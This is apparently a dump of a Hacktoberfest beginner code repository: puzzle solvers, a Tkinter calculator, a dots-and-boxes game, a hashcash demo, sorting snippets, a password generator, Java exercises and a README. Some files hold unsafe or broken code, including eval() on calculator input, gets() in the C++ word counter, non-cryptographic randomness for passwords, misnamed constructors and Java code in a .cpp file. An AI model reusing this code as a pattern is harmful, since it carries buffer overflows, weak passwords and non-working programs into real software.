| print("Expanded nodes: {}".format(len(visited))) 162 | print("Generated nodes: {}".format(len(visited))) 163 | actualPuzzle.printPathPuzzle() 164 | return 165 | 166 | line, column = actualPuzzle.findBlank() 167 | 168 | for i in range(0, 4): 169 | newLine = line + xs[i] 170 | newColumn = column + ys[i] 171 | 172 | if newLine < 0 or newLine >= 3 or newColumn < 0 or newColumn >= 3: 173 | continue 174 | 175 | auxPuzzle = Puzzle() 176 | auxPuzzle.parent = actualPuzzle 177 | auxPuzzle.cont = actualPuzzle.cont + 1 178 | auxPuzzle.puzzle = [x[:] for x in actualPuzzle.puzzle] 179 | auxPuzzle.puzzle[line][column], auxPuzzle.puzzle[newLine][newColumn] = \ 180 | auxPuzzle.puzzle[newLine][newColumn], auxPuzzle.puzzle[line][column] 181 | 182 | if hash(str(auxPuzzle)) not in visited: 183 | visited[hash(str(auxPuzzle))] = auxPuzzle 184 | stack.append(auxPuzzle) 185 | 186 | def astar(self, opt): 187 | generatedNodes = 0 188 | expandedNodes = 0 189 | 190 | openList = [] 191 | heapify(openList) 192 | heappush(openList, (0, self)) 193 | 194 | closeList = {} 195 | closeList[hash(str(self))] = self 196 | 197 | while len(openList) != 0: 198 | (cost, actualPuzzle) = heappop(openList) 199 | expandedNodes += 1 200 | 201 | #Find the blank space 202 | line, column = actualPuzzle.findBlank() 203 | 204 | if actualPuzzle.isSolved(): 205 | heuristic = "" 206 | heuristic = "manhattan distance" if opt == 1 else "number of wrong pieces" 207 | print("\nThe solution was found with heuristic: {}".format(heuristic)) 208 | print("Depth: {}".format(actualPuzzle.cont)) 209 | print("Expanded nodes: {}".format(expandedNodes)) 210 | print("Generated nodes: {}".format(generatedNodes)) 211 | actualPuzzle.printPathPuzzle() 212 | return 213 | 214 | for i in range(0, 4): 215 | newLine = line + xs[i] 216 | newColumn = column + ys[i] 217 | 218 | if newLine < 0 or newLine >= 3 or newColumn < 0 or newColumn >= 3: 219 | continue 220 | 221 | auxPuzzle = Puzzle() 222 | auxPuzzle.parent = actualPuzzle 223 | auxPuzzle.cont = actualPuzzle.cont + 1 224 | auxPuzzle.puzzle = [x[:] for x in actualPuzzle.puzzle] 225 | auxPuzzle.puzzle[line][column], auxPuzzle.puzzle[newLine][newColumn] = \ 226 | auxPuzzle.puzzle[newLine][newColumn], auxPuzzle.puzzle[line][column] 227 | auxPuzzle.f(opt) 228 | 229 | if hash(str(auxPuzzle)) not in closeList: 230 | generatedNodes += 1 231 | heappush(openList, (auxPuzzle.cost, auxPuzzle)) 232 | closeList[hash(str(auxPuzzle))] = auxPuzzle 233 | 234 | print("\nThe solution was not found") 235 | print("Depth: {}".format(actualPuzzle.cont)) 236 | print("Expanded nodes: {}".format(expandedNodes)) 237 | print("Generated nodes: {}".format(generatedNodes)) 238 | 239 | correctPuzzle = Puzzle() 240 | correctPuzzle.puzzle = [[1, 2, 3], [4, 5, 6], [7, 8, -1]] 241 | 242 | if __name__ == "__main__": 243 | puzzle = Puzzle() 244 | 245 | while True: 246 | print("\nCreating the puzzle randomly ") 247 | puzzle.createPuzzle() 248 | puzzle.printPuzzle() 249 | if puzzle.isSolvable(): 250 | print("Is Solvable") 251 | puzzle.solvePuzzle(1) 252 | break 253 | else: 254 | print("Not Solvable") 255 | -------------------------------------------------------------------------------- /Python/armstrongNumber.py: -------------------------------------------------------------------------------- 1 | num = 1634 2 | 3 | 4 | order = len(str(num)) 5 | 6 | 7 | sum = 0 8 | 9 | 10 | temp = num 11 | while temp > 0: 12 | digit = temp % 10 13 | sum += digit ** order 14 | temp //= 10 15 | 16 | 17 | if num == sum: 18 | print(num,"is an Armstrong number") 19 | else: 20 | print(num,"is not an Armstrong number") -------------------------------------------------------------------------------- /Python/calculator.py: -------------------------------------------------------------------------------- 1 | # Python program to create a simple GUI 2 | # calculator using Tkinter 3 | 4 | # import everything from tkinter module 5 | from tkinter import * 6 | 7 | # globally declare the expression variable 8 | expression = "" 9 | 10 | 11 | # Function to update expression 12 | # in the text entry box 13 | def press(num): 14 | # point out the global expression variable 15 | global expression 16 | 17 | # concatenation of string 18 | expression = expression + str(num) 19 | 20 | # update the expression by using set method 21 | equation.set(expression) 22 | 23 | 24 | # Function to evaluate the final expression 25 | def equalpress(): 26 | # Try and except statement is used 27 | # for handling the errors like zero 28 | # division error etc. 29 | 30 | # Put that code inside the try block 31 | # which may generate the error 32 | try: 33 | 34 | global expression 35 | 36 | # eval function evaluate the expression 37 | # and str function convert the result 38 | # into string 39 | total = str(eval(expression)) 40 | 41 | equation.set(total) 42 | 43 | # initialize the expression variable 44 | # by empty string 45 | expression = "" 46 | 47 | # if error is generate then handle 48 | # by the except block 49 | except: 50 | 51 | equation.set(" error ") 52 | expression = "" 53 | 54 | 55 | # Function to clear the contents 56 | # of text entry box 57 | def clear(): 58 | global expression 59 | expression = "" 60 | equation.set("") 61 | 62 | 63 | # Driver code 64 | if __name__ == "__main__": 65 | # create a GUI window 66 | gui = Tk() 67 | 68 | # set the background colour of GUI window 69 | gui.configure(background="light green") 70 | 71 | # set the title of GUI window 72 | gui.title("Simple Calculator") 73 | 74 | # set the configuration of GUI window 75 | gui.geometry("270x150") 76 | 77 | # StringVar() is the variable class 78 | # we create an instance of this class 79 | equation = StringVar() 80 | 81 | # create the text entry box for 82 | # showing the expression . 83 | expression_field = Entry(gui, textvariable=equation) 84 | 85 | # grid method is used for placing 86 | # the widgets at respective positions 87 | # in table like structure . 88 | expression_field.grid(columnspan=4, ipadx=70) 89 | 90 | # create a Buttons and place at a particular 91 | # location inside the root window . 92 | # when user press the button, the command or 93 | # function affiliated to that button is executed . 94 | button1 = Button(gui, text=' 1 ', fg='black', bg='red', 95 | command=lambda: press(1), height=1, width=7) 96 | button1.grid(row=2, column=0) 97 | 98 | button2 = Button(gui, text=' 2 ', fg='black', bg='red', 99 | command=lambda: press(2), height=1, width=7) 100 | button2.grid(row=2, column=1) 101 | 102 | button3 = Button(gui, text=' 3 ', fg='black', bg='red', 103 | command=lambda: press(3), height=1, width=7) 104 | button3.grid(row=2, column=2) 105 | 106 | button4 = Button(gui, text=' 4 ', fg='black', bg='red', 107 | command=lambda: press(4), height=1, width=7) 108 | button4.grid(row=3, column=0) 109 | 110 | button5 = Button(gui, text=' 5 ', fg='black', bg='red', 111 | command=lambda: press(5), height=1, width=7) 112 | button5.grid(row=3, column=1) 113 | 114 | button6 = Button(gui, text=' 6 ', fg='black', bg='red', 115 | command=lambda: press(6), height=1, width=7) 116 | button6.grid(row=3, column=2) 117 | 118 | button7 = Button(gui, text=' 7 ', fg='black', bg='red', 119 | command=lambda: press(7), height=1, width=7) 120 | button7.grid(row=4, column=0) 121 | 122 | button8 = Button(gui, text=' 8 ', fg='black', bg='red', 123 | command=lambda: press(8), height=1, width=7) 124 | button8.grid(row=4, column=1) 125 | 126 | button9 = Button(gui, text=' 9 ', fg='black', bg='red', 127 | command=lambda: press(9), height=1, width=7) 128 | button9.grid(row=4, column=2) 129 | 130 | button0 = Button(gui, text=' 0 ', fg='black', bg='red', 131 | command=lambda: press(0), height=1, width=7) 132 | button0.grid(row=5, column=0) 133 | 134 | plus = Button(gui, text=' + ', fg='black', bg='red', 135 | command=lambda: press("+"), height=1, width=7) 136 | plus.grid(row=2, column=3) 137 | 138 | minus = Button(gui, text=' - ', fg='black', bg='red', 139 | command=lambda: press("-"), height=1, width=7) 140 | minus.grid(row=3, column=3) 141 | 142 | multiply = Button(gui, text=' * ', fg='black', bg='red', 143 | command=lambda: press("*"), height=1, width=7) 144 | multiply.grid(row=4, column=3) 145 | 146 | divide = Button(gui, text=' / ', fg='black', bg='red', 147 | command=lambda: press("/"), height=1, width=7) 148 | divide.grid(row=5, column=3) 149 | 150 | equal = Button(gui, text=' = ', fg='black', bg='red', 151 | command=equalpress, height=1, width=7) 152 | equal.grid(row=5, column=2) 153 | 154 | clear = Button(gui, text='Clear', fg='black', bg='red', 155 | command=clear, height=1, width=7) 156 | clear.grid(row=5, column='1') 157 | 158 | Decimal= Button(gui, text='.', fg='black', bg='red', 159 | command=lambda: press('.'), height=1, width=7) 160 | Decimal.grid(row=6, column=0) 161 | # start the GUI 162 | gui.mainloop() 163 | -------------------------------------------------------------------------------- /Python/dominoPiling.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 3 | Contest 50. Problem A. Domino piling 4 | You are given a rectangular board of M × N squares. Also you are given an unlimited number of standard domino pieces of 2 × 1 squares. You are allowed to rotate the pieces. You are asked to place as many dominoes as possible on the board so as to meet the following conditions: 5 | 6 | 1. Each domino completely covers two squares. 7 | 8 | 2. No two dominoes overlap. 9 | 10 | 3. Each domino lies entirely inside the board. It is allowed to touch the edges of the board. 11 | 12 | Find the maximum number of dominoes, which can be placed under these restrictions. 13 | 14 | Input 15 | In a single line you are given two integers M and N — board sizes in squares (1 ≤ M ≤ N ≤ 16). 16 | 17 | Output 18 | Output one number — the maximal number of dominoes, which can be placed. 19 | 20 | ''' 21 | 22 | m,n=[int(x) for x in input().split()] 23 | print(m*n//2) 24 | -------------------------------------------------------------------------------- /Python/dots and boxes.py: -------------------------------------------------------------------------------- 1 | from tkinter import * 2 | import tkinter.font as tkFont 3 | 4 | TOL = 8 5 | CELLSIZE = 40 6 | OFFSET = 10 7 | CIRCLERAD = 2 8 | DOTOFFSET = OFFSET + CIRCLERAD 9 | GAME_H = 400 10 | GAME_W = 400 11 | 12 | 13 | class Player(object): 14 | 15 | def _init_(self, name, color="black"): 16 | self.score = 0 17 | self.str = StringVar() 18 | self.name = name 19 | self.color = color 20 | 21 | def update(self): 22 | self.str.set(self.name + ": %d" % self.score) 23 | 24 | 25 | 26 | class MyFrame(Frame): 27 | 28 | def _init_(self, master): 29 | Frame._init_(self, master) 30 | self.GO_font = tkFont.Font(self, \ 31 | name="GOFont", \ 32 | family = "Times", \ 33 | weight="bold", \ 34 | size=36) 35 | self.canvas = Canvas(self, height = GAME_H, width = GAME_W) 36 | self.canvas.bind("", lambda e:self.click(e)) 37 | self.canvas.grid(row=0,column=0) 38 | 39 | self.dots = [[self.canvas.create_oval(CELLSIZE*i+OFFSET, \ 40 | CELLSIZE*j+OFFSET, \ 41 | CELLSIZE*i+OFFSET+2*CIRCLERAD, \ 42 | CELLSIZE*j+OFFSET+2*CIRCLERAD, \ 43 | fill="black") \ 44 | for j in range(10)] for i in range(10)] 45 | self.lines = [] 46 | 47 | self.infoframe = Frame(self) 48 | self.players = [Player("Player 1","blue"), Player("Player 2","red")] 49 | self.infoframe.players = [Label(self.infoframe, textvariable = i.str) for i in self.players] 50 | for i in self.infoframe.players: 51 | i.grid() 52 | 53 | self.turn = self.players[0] 54 | self.update_players() 55 | self.infoframe.grid(row = 0, column = 1, sticky = N) 56 | 57 | self.grid() 58 | 59 | def update_players(self): 60 | for i in self.players: 61 | i.update() 62 | 63 | def click(self, event): 64 | x,y = event.x, event.y 65 | orient = self.isclose(x,y) 66 | 67 | if orient: 68 | if self.line_exists(x,y, orient): 69 | return 70 | l = self.create_line(x,y, orient) 71 | score = self.new_box_made(l) 72 | if score: 73 | self.turn.score += score 74 | self.turn.update() 75 | self.check_game_over() 76 | else: 77 | index = self.players.index(self.turn) 78 | self.turn = self.players[1-index] 79 | self.lines.append(l) 80 | 81 | def create_line(self, x, y, orient): 82 | startx = CELLSIZE * ((x-OFFSET)//CELLSIZE) + DOTOFFSET 83 | starty = CELLSIZE * ((y-OFFSET)//CELLSIZE) + DOTOFFSET 84 | tmpx = (x-OFFSET)//CELLSIZE 85 | tmpy = (y-OFFSET)//CELLSIZE 86 | 87 | if orient == HORIZONTAL: 88 | endx = startx + CELLSIZE 89 | endy = starty 90 | else: 91 | endx = startx 92 | endy = starty + CELLSIZE 93 | #print "line drawn: %d,%d to %d,%d" % (startx,starty,endx,endy) 94 | return self.canvas.create_line(startx,starty,endx,endy) 95 | 96 | 97 | def new_box_made(self, line): 98 | score = 0 99 | x0,y0,x1,y1 = self.canvas.coords(line) 100 | if x0 == x1: # vertical line 101 | midx = x0 102 | midy = (y0+y1)/2 103 | pre = (x0 - CELLSIZE/2, midy) 104 | post = (x0 + CELLSIZE/2, midy) 105 | elif y0 == y1: # horizontal line 106 | midx = (x0 + x1)/2 107 | midy = y0 108 | pre = (midx, y0 - CELLSIZE/2) 109 | post = (midx, y0 + CELLSIZE/2) 110 | 111 | if len(self.find_lines(pre)) == 3: # not 4, because newly created line is 112 | self.fill_in(pre) # is not returned (?!) 113 | score += 1 114 | if len(self.find_lines(post)) == 3: 115 | self.fill_in(post) 116 | score += 1 117 | return score 118 | 119 | def find_lines(self, coords): 120 | x, y = coords 121 | if x < 0 or x > GAME_W: 122 | return [] 123 | if y < 0 or y > GAME_W: 124 | return [] 125 | #print "Cell center: %d,%d" % (x,y) 126 | lines = [x for x in self.canvas.find_enclosed(x-CELLSIZE,\ 127 | y-CELLSIZE,\ 128 | x+CELLSIZE,\ 129 | y+CELLSIZE)\ 130 | if x in self.lines] 131 | #print lines 132 | return lines 133 | 134 | def fill_in(self, coords): 135 | x,y = coords 136 | self.canvas.create_text(x,y,text=self.turn.name, fill=self.turn.color) 137 | 138 | def isclose(self, x, y): 139 | x -= OFFSET 140 | y -= OFFSET 141 | dx = x - (x//CELLSIZE)*CELLSIZE 142 | dy = y - (y//CELLSIZE)*CELLSIZE 143 | 144 | if abs(dx) < TOL: 145 | if abs(dy) < TOL: 146 | return None # mouse in corner of box; ignore 147 | else: 148 | return VERTICAL 149 | elif abs(dy) < TOL: 150 | return HORIZONTAL 151 | else: 152 | return None 153 | 154 | def line_exists(self, x,y, orient): 155 | id_ = self.canvas.find_closest(x,y,halo=TOL)[0] 156 | if id_ in self.lines: 157 | return True 158 | else: 159 | return False 160 | 161 | def check_game_over(self): 162 | total = sum([x.score for x in self.players]) 163 | if total == 81: 164 | self.canvas.create_text(GAME_W/2, GAME_H/2, \ 165 | text="GAME OVER", font="GOFont", \ 166 | fill="#888") 167 | 168 | 169 | mainw = Tk() 170 | mainw.f = MyFrame(mainw) 171 | mainw.mainloop() -------------------------------------------------------------------------------- /Python/hashcash.py: -------------------------------------------------------------------------------- 1 | from hashlib import sha256 2 | import random 3 | import string 4 | import time 5 | 6 | def validate_hash(hash_, k): 7 | if not hash_: return False 8 | hash_number = int(hash_, 16) 9 | found = True 10 | 11 | # Check if the first k bits are 0 12 | for i in range(0, k): 13 | if hash_number & (1 << i): 14 | found = False 15 | break 16 | return found 17 | 18 | 19 | def generate_salt(salt_size): 20 | # Generate random string with lowercase, uppercase and special characters 21 | options = string.ascii_letters + string.digits + string.punctuation 22 | return ''.join(random.choice(options) for i in range(salt_size)) 23 | 24 | def generate_hash(data, k, salt_size): 25 | count = 0 26 | hash_ = None 27 | 28 | while not validate_hash(hash_, k): 29 | count += 1 30 | salt = generate_salt(salt_size) 31 | data_with_salt = salt + data 32 | 33 | hash_ = sha256() 34 | hash_.update(bytes(data_with_salt, encoding='utf8')) 35 | hash_ = hash_.hexdigest() 36 | 37 | return hash_, count 38 | 39 | 40 | if __name__ == '__main__': 41 | base_string = 'A base string for hash' 42 | salt_size = 5 43 | 44 | for k in range(1, 26): 45 | start_time = time.time() 46 | hash_, count = generate_hash(base_string, k, salt_size) 47 | end_time = time.time() - start_time 48 | 49 | print('Hash Generated - k: ' + str(k), end=' - ') 50 | print('Count: ' + str(count), end=' - ') 51 | print('Time spent: ' + str(end_time)) 52 | -------------------------------------------------------------------------------- /Python/insertionsort.py: -------------------------------------------------------------------------------- 1 | def insertionSort(arr1): 2 | 3 | for n in range(1, len(arr1)): 4 | 5 | ky = arr1[n] 6 | 7 | k = n-1 8 | while k >=0 and ky < arr1[k] : 9 | arr1[k+1] = arr1[k] 10 | k -= 1 11 | arr1[k+1] = ky 12 | 13 | 14 | 15 | arr1 = [10,30,200,45,1,44,770] 16 | insertionSort(arr1) 17 | print ("Sorted array is:") 18 | for n in range(len(arr1)): 19 | print ("%d" %arr1[n]) -------------------------------------------------------------------------------- /Python/listcomprehesion.py: -------------------------------------------------------------------------------- 1 | if __name__ == '__main__': 2 | x = int(raw_input()) 3 | y = int(raw_input()) 4 | z = int(raw_input()) 5 | n = int(raw_input()) 6 | l = [[i,j,k] for i in range(1+x) for j in range(1+y) for k in range(1+z) if i+j+k!=n] 7 | print(l) 8 | -------------------------------------------------------------------------------- /Python/passwordgenerator.py: -------------------------------------------------------------------------------- 1 | #My Password Generator 2 | 3 | from tkinter import * 4 | import pyperclip 5 | import random 6 | root = Tk() 7 | root.geometry("750x350") 8 | root.title("My Calc") 9 | root["bg"]= "black" 10 | passstr = StringVar() 11 | passlen = IntVar() 12 | def generate(): 13 | pass1 = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 14 | 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 15 | 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 16 | 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 17 | 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 18 | 'Y', 'Z', '1', '2', '3', '4', '5', '6', '7', '8', 19 | '9', '0', ' ', '!', '@', '#', '$', '%', '^', '&', 20 | '*', '(', ')'] 21 | password = "" 22 | for x in range(passlen.get()): 23 | password = password + random.choice(pass1) 24 | passstr.set(password) 25 | def copytoclipboard(): 26 | random_password = passstr.get() 27 | pyperclip.copy(random_password) 28 | Label(root, text="Kartik's Password Generator ",bg="black",fg="white",font="Algerian 20 bold").pack() 29 | Label(root, text="Enter password length",fg="white",bg="black",font="Algerian 12 bold").pack(pady=10) 30 | Entry(root, textvariable=passlen,font=5).pack(pady=8) 31 | Button(root, text="Generate Password",bg="black",fg="white",pady=15,font="Algerian 12", command=generate).pack(pady=7) 32 | Entry(root, textvariable=passstr,font=5).pack(pady=8) 33 | Button(root, text="Copy to clipboard", bg="black",fg="white",pady=15,font="Algerian 12",command=copytoclipboard).pack() 34 | root.mainloop() 35 | -------------------------------------------------------------------------------- /Python/search.py: -------------------------------------------------------------------------------- 1 | 2 | def search(list,n): 3 | 4 | for i in range(len(list)): 5 | if list[i] == n: 6 | return True 7 | return False 8 | 9 | # list 10 | list = [1, 2, 'apple', 4,'Grapes', 6] 11 | 12 | # Driver Code 13 | n = 'Grapes' 14 | 15 | if search(list, n): 16 | print("Found") 17 | else: 18 | print("Not Found") 19 | -------------------------------------------------------------------------------- /Python/thirdMaximumNumber.py: -------------------------------------------------------------------------------- 1 | ''' 2 | 414. Third Maximum Number 3 | 4 | Given an integer array nums, return the third distinct maximum number in this array. If the third maximum does not exist, return the maximum number. 5 | 6 | Example 1: 7 | 8 | Input: nums = [3,2,1] 9 | Output: 1 10 | Explanation: 11 | The first distinct maximum is 3. 12 | The second distinct maximum is 2. 13 | The third distinct maximum is 1. 14 | 15 | Example 2: 16 | 17 | Input: nums = [1,2] 18 | Output: 2 19 | Explanation: 20 | The first distinct maximum is 2. 21 | The second distinct maximum is 1. 22 | The third distinct maximum does not exist, so the maximum (2) is returned instead. 23 | 24 | Example 3: 25 | 26 | Input: nums = [2,2,3,1] 27 | Output: 1 28 | Explanation: 29 | The first distinct maximum is 3. 30 | The second distinct maximum is 2 (both 2's are counted together since they have the same value). 31 | The third distinct maximum is 1. 32 | 33 | Constraints: 34 | 35 | 1 <= nums.length <= 104 36 | -231 <= nums[i] <= 231 - 1 37 | ''' 38 | 39 | 40 | class Solution: 41 | def thirdMax(self, nums: List[int]) -> int: 42 | nums=list(set(nums)) 43 | nums.sort() 44 | if len(nums)>2: 45 | return nums[-3] 46 | else: 47 | return nums[-1] 48 | -------------------------------------------------------------------------------- /QueuewithArray.java: -------------------------------------------------------------------------------- 1 | public class QueueWithArray { 2 | 3 | int[] arr; 4 | private int front; 5 | private int rear; 6 | private int size; 7 | 8 | public QueueWithArray() { 9 | // TODO Auto-generated constructor stub 10 | arr = new int[5]; 11 | front = -1; 12 | rear = -1; 13 | size = 0; 14 | } 15 | public boolean isEmpty() { 16 | return size == 0; 17 | } 18 | public int size() { 19 | return size; 20 | } 21 | public void enqueue(int data) { 22 | 23 | if(isEmpty()) { 24 | front = 0; 25 | } 26 | if(size == arr.length) { 27 | doubleCapacity(); 28 | } 29 | rear = (rear+1) % arr.length; 30 | arr[rear] = data; 31 | size++; 32 | } 33 | private void doubleCapacity() { 34 | 35 | int temp[] = arr; 36 | arr = new int[temp.length * 2]; 37 | int k=0; 38 | for(int i=front;i Hacktoberfest 2021 4 | 5 | *** 6 |

7 | 8 | Link To HacktoberFest 2021 9 | 10 |

11 | 12 | ## Event details : 13 | 14 | - Hacktoberfest® is open to everyone in our global community. Whether you’re a developer, student learning to code, event host, or company of any size, you can help drive growth of open source and make positive contributions to an ever-growing community. All backgrounds and skill levels are encouraged to complete the challenge. 15 | 16 | - Hacktoberfest is a celebration open to everyone in our global community. 17 | - Pull requests can be made in any GitHub-hosted repositories/projects. 18 | - You can sign up anytime between October 1 and October 31. 19 | 20 | ## HacktoberFest Rules : 21 | 22 | To earn your Hacktoberfest tee or tree reward, you must register and make four valid pull requests (PRs) between October 1-31 (in any time zone). Pull requests can be made in any participating GitHub or GitLab hosted repository/project. Look for the 'hacktoberfest' topic to know if a repository/project is participating in Hacktoberfest. Pull requests must be approved by a maintainer of the repository/project to count. If a maintainer reports your pull request as spam or behavior not in line with the project’s code of conduct, you will be ineligible to participate. This year, the first 55,000 participants who successfully complete the challenge will be eligible to receive a prize. 23 | *** 24 |

Whether it’s your first or fiftieth pull request, there’s always more to learn! We’ve put together a few resources that can help you create quality pull requests, keep your repositories pristine, and build on your open source knowledge.

25 | 26 | 27 | ## Rules To Contribute To This Repo 28 | 29 | - Use any language. 30 | - C, C++, JAVA, Data Structure and Algorithms, HTML, CSS, Android Projects. 31 | - Go to the particular folder or (make a folder for your language if it doesnt pre-exist) 32 | - Contribute Anything valuable. 33 | 34 | ## Steps For Contribution 35 | 36 | 1. Fork this repo 37 | 2. Star this repo 38 | 3. Add a file 39 | 4. commit the code 40 | 5. Make pull request 41 | *** 42 |

43 |

44 | Thank You 45 |

46 |

47 | -------------------------------------------------------------------------------- /SinglyLinkedList .cpp: -------------------------------------------------------------------------------- 1 | package Linked_List; 2 | 3 | public class SinglyLinkedList { 4 | private int data; 5 | private SinglyLinkedList next; 6 | public SinglyLinkedList(int data) 7 | { 8 | this.data=data; 9 | this.next=null; 10 | } 11 | 12 | public static void main(String[] args) { 13 | SinglyLinkedList head; 14 | 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /Students_grade.java: -------------------------------------------------------------------------------- 1 | import java.util.Scanner; 2 | 3 | public class JavaExample 4 | { 5 | public static void main(String args[]) 6 | { 7 | int marks[] = new int[6]; 8 | int i; 9 | float total=0, avg; 10 | Scanner scanner = new Scanner(System.in); 11 | 12 | 13 | for(i=0; i<6; i++) { 14 | System.out.print("Enter Marks of Subject"+(i+1)+":"); 15 | marks[i] = scanner.nextInt(); 16 | total = total + marks[i]; 17 | } 18 | scanner.close(); 19 | //Calculating average here 20 | avg = total/6; 21 | System.out.print("The student Grade is: "); 22 | if(avg>=80) 23 | { 24 | System.out.print("A"); 25 | } 26 | else if(avg>=60 && avg<80) 27 | { 28 | System.out.print("B"); 29 | } 30 | else if(avg>=40 && avg<60) 31 | { 32 | System.out.print("C"); 33 | } 34 | else 35 | { 36 | System.out.print("D"); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /While_loop.java: -------------------------------------------------------------------------------- 1 | public class Main { 2 | public static void main(String[] args) { 3 | int i = 0; 4 | while (i < 10) { 5 | if (i == 4) { 6 | i++; 7 | continue; 8 | } 9 | System.out.println(i); 10 | i++; 11 | } 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /calculate_age.java: -------------------------------------------------------------------------------- 1 | import java.text.ParseException; 2 | import java.text.SimpleDateFormat; 3 | import java.util.Calendar; 4 | import java.util.Date; 5 |   6 | public class AgeCalculator 7 | { 8 |    private static Age calculateAge(Date birthDate) 9 |    { 10 |       int years = 0; 11 |       int months = 0; 12 |       int days = 0; 13 |   14 |       //create calendar object for birth day 15 |       Calendar birthDay = Calendar.getInstance(); 16 |       birthDay.setTimeInMillis(birthDate.getTime()); 17 |   18 |       //create calendar object for current day 19 |       long currentTime = System.currentTimeMillis(); 20 |       Calendar now = Calendar.getInstance(); 21 |       now.setTimeInMillis(currentTime); 22 |   23 |       //Get difference between years 24 |       years = now.get(Calendar.YEAR) - birthDay.get(Calendar.YEAR); 25 |       int currMonth = now.get(Calendar.MONTH) + 1; 26 |       int birthMonth = birthDay.get(Calendar.MONTH) + 1; 27 |   28 |       //Get difference between months 29 |       months = currMonth - birthMonth; 30 |   31 |       //if month difference is in negative then reduce years by one 32 |       //and calculate the number of months. 33 |       if (months < 0) 34 |       { 35 |          years--; 36 |          months = 12 - birthMonth + currMonth; 37 |          if (now.get(Calendar.DATE) < birthDay.get(Calendar.DATE)) 38 |             months--; 39 |       } else if (months == 0 && now.get(Calendar.DATE) < birthDay.get(Calendar.DATE)) 40 |       { 41 |          years--; 42 |          months = 11; 43 |       } 44 |   45 |       //Calculate the days 46 |       if (now.get(Calendar.DATE) > birthDay.get(Calendar.DATE)) 47 |          days = now.get(Calendar.DATE) - birthDay.get(Calendar.DATE); 48 |       else if (now.get(Calendar.DATE) < birthDay.get(Calendar.DATE)) 49 |       { 50 |          int today = now.get(Calendar.DAY_OF_MONTH); 51 |          now.add(Calendar.MONTH, -1); 52 |          days = now.getActualMaximum(Calendar.DAY_OF_MONTH) - birthDay.get(Calendar.DAY_OF_MONTH) + today; 53 |       } 54 |       else 55 |       { 56 |          days = 0; 57 |          if (months == 12) 58 |          { 59 |             years++; 60 |             months = 0; 61 |          } 62 |       } 63 |       //Create new Age object 64 |       return new Age(days, months, years); 65 |    } 66 |   67 |    public static void main(String[] args) throws ParseException 68 |    { 69 |       SimpleDateFormat sdf = new SimpleDateFormat("dd/MM/yyyy"); 70 |       Date birthDate = sdf.parse("29/11/1981");     71 |       Age age = calculateAge(birthDate); 72 |       System.out.println(age); 73 |    } 74 | } 75 | -------------------------------------------------------------------------------- /code/words_in_a_string.cpp: -------------------------------------------------------------------------------- 1 | # include 2 | # include 3 | 4 | using namespace std; 5 | 6 | int main() 7 | { 8 | char str[200]; 9 | cout<<"Enteer a string : "; 10 | gets(str); 11 | 12 | int count = 0; 13 | 14 | int len = strlen(str); 15 | 16 | for(int i = 0; i < len; i++) 17 | { 18 | if(str[i] == ' ') 19 | { 20 | count++; 21 | } 22 | } 23 | 24 | cout<